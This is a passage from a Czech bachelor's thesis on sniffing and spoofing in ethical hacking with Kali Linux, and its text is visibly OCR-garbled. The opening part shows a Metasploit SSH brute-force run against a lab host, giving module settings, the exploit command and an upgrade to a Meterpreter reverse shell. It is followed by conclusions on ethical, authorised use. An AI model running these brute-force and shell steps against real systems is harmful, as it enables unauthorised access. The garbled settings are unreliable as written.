
Nastavime tedy ,set STOP ON SUCCES true“, bude staci prvni nalezeny.

Finalni nastaveni pted spusténim tedy bude vypadat takto:

Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Sett Requ Description

BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the rrent database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip e g credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS 92.168.0.10 yes ithub.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT yes
STOP_ON_SUCCESS true yes u n host
THREADS 1 yes number of concurrent threads (max one per host)
USERNAME no username to authenticate as
USERPASS_FILE passowrds . txt no File containing users and passwords separated by space, one pair per line
false no Try the username as the password for all users
users.txt no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts

View the full module info with the info, or info -d command.

msf6 auxiliary( Y |

Nyni kdyz je vSe nastaveno, miizeme spustit pfikazem ,exploit®.



msf6 auxiliary( ) > exploit

192.168.0.10:22 - Starting bruteforce

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary( I |

Ve vysledku Ize vidét progres celého utoku. Vtomto ptripadé bohuZel utok nebyl
uspésny.
V pripadé uspésného utoku bude vypis konzole vypadat takto:

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

msf6 auxiliary( ) > sessions -u 1
Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

Upgrading session ID: 1
Starting exploit/multi/handler
Started reverse TCP handler on

Sending stage (1017704 bytes) to

Meterpreter session 2 opened ( ) at 2023-01-15 0
0:23:35 -0500

Command stager progress: 100.00% (773/773 bytes)

Zavér a zhodnoceni: Vtomto experimentu dosSlo k zachytavani nezaSifrované
komunikace na siti. Je tedy moZné fici, Ze pro bezpecny pohyb na siti je dobré
vyvarovat se veSkeré komunikace a piipojeni, kterd nejsou Sifrovana. Pro uto¢nika
by pak mohl byt nasledny postup vytvoreni faleSné webové stranky, ktera by se pro
uzivatel tvarila jako dlivéryhodnd, a nechat jej zadat prihlasovaci udaje, které by pak
vyuzil pro pachani dalSich Skod. Metasploit je rozsahly nastroj, ktery nabizi mnoho
moznosti, v téchto experimentech bylo ukazano pouze nékolik mozZnosti, jak tento
nastroj vyuzit. Dale pak bylo tispésné spusténo zachytavani zadavani do klavesnice.
K tomu bylo potteba jiZ pfedchozich znalosti o siti. Téchto vysledki je moZné vyuzit

pro lepsi zabezpeceni sité.



6 Shrnuti vysledkul

Tato bakalafska prace na téma "Sniffing and Spoofing v etickém hackingu“
s pouzitim Kali Linuxu ptinesla zajimavé vysledky a poznatky. V laboratornim
prostredi se podarilo uspésné vyuzit témeér vSechny zminéné technologie a nastroje
k ziskani pristupu do druhého vytvoreného systému. Nicméné vstup do systému

vyzadoval ur€itou uroven znalosti a povédomi o pouzitém prostredi.

Prostrednictvim sniffingu a spoofingu bylo mozné identifikovat slaba mista a
zranitelnosti v systému, coZz ukazuje na dilezitost spravného zabezpeceni
pocitacovych siti a systémii. Nastroje jako Wireshark, Nmap, Reaver a Metasploit se
ukazaly jako uzitecné prostiedky pro analyzu sité, skenovani zranitelnosti a

vyuzivani téchto zranitelnosti pro testovani a zabezpeceni systém{.

Zaroven je vsak dilezité zdlraznit, Ze ispésné provadéni téchto technik vyzaduje
znalosti a povédomi o prostredi, ve kterém se operuje. Diikladna reSerse a studium
literatury byly klicové pro pochopeni principli a metod etického hackingu. Eticky
hacking vyZaduje dodrZovani etickych smérnic a legalnich predpist, a je moZny

pouze s povolenim vlastnikl systém{.

Vysledky této prace poukazuji na dilezitost spravného zabezpeceni pocitacovych
systéml a kontinualniho monitorovani jejich bezpecnosti. Pouzivani nastroji v
ramci etického hackingu miize poskytnout cenné informace o zranitelnostech, které

mohou byt vyuzity k vylepSeni zabezpeceni a ochrany systému.

V zavéru lze konstatovat, Ze tato bakalarska prace prinesla uzite¢né poznatky o
sniffingu a spoofingu v etickém hackingu s vyuZitim Kali Linuxu. Uspésné
demonstrovala moZnosti téchto technik v laboratornim prostredi a zdiraznila
dllezitost odpovidajictho povédomi, znalosti a etickych principi pro spravné a

legalni pouziti téchto technik v redlnych scénarich.



7 Zaver

Tato bakalatrskd prace na téma "Sniffing and Spoofing v etickém hackingu" se
zamérovala na studium technik a nastroji v ramci etického hackingu, které jsou
spojeny se sniffingem a spoofingem. Cilem prace bylo ziskat hlub$i porozuméni
témto technikam, analyzovat jejich funkce a vyuZiti v praxi a zvazit etické aspekty

jejich pouzivani.

Béhem reserse byla provedena diikladna studie relevantni literatury a zdroji, které
se zabyvaji sniffingem, spoofingem, etickym hackingem a nastroji v Kali Linuxu. Tato
analyza umozZznila podrobny popis rtznych typt utoki spojenych se sniffingem a

spoofingem a jejich dopady na zabezpeceni pocitacovych systémi.

Béhem praktického pouziti jsme ukazali demonstraci nastroji jako je Wireshark,
Nmap, Metasploit a Hydra, které jsou soucasti Kali Linuxu. Tyto nastroje umoziuji
provadéni analyzy sité, skenovani zranitelnosti a vyuzivani zranitelnosti k ziskani

piistupu do systémi za ticelem jejich zabezpeceni.

Celkové Ize konstatovat, Ze sniffing a spoofing jsou dileZité techniky, které mohou
byt pouzity v ramci etického hackingu pro identifikaci zranitelnosti a zlepSeni
zabezpeceni pocitacovych systémii. Na druhou stranu lze tyto nastroje pouZit

k proniknuti do systému a pachani nelegalni ¢innosti za Gcelem vlastniho uzitku.

Bakalarska prace nabidla podrobny prehled o této problematice a poskytla zaklad
pro dals$i vyzkum a praci v oblasti etického hackingu. Jeji vysledky mohou byt
pouzity jako vychodisko pro diskusi a navrhovani bezpecnostnich opatreni v boji
proti itoklim spojenym se sniffingem a spoofingem.

Na zaveér Ize konstatovat, Ze snaha o zlepSeni zabezpeceni pocitacovych systémi je
neustalym tkolem v dnesni digitalni dobé. PouZivani Kali Linuxu a technik sniffingu
a spoofingu v rdmci etického hackingu muze hrat dialeZzitou roli pti identifikaci

slabych mist a zajiSténi bezpecCnosti systémi. Je vSak nezbytné, aby byly tyto



techniky pouzivany odpovédné, s povédomim o jejich etickych a legalnich aspektech

a v souladu se zakony a predpisy platnymi ve vasi jurisdikci.
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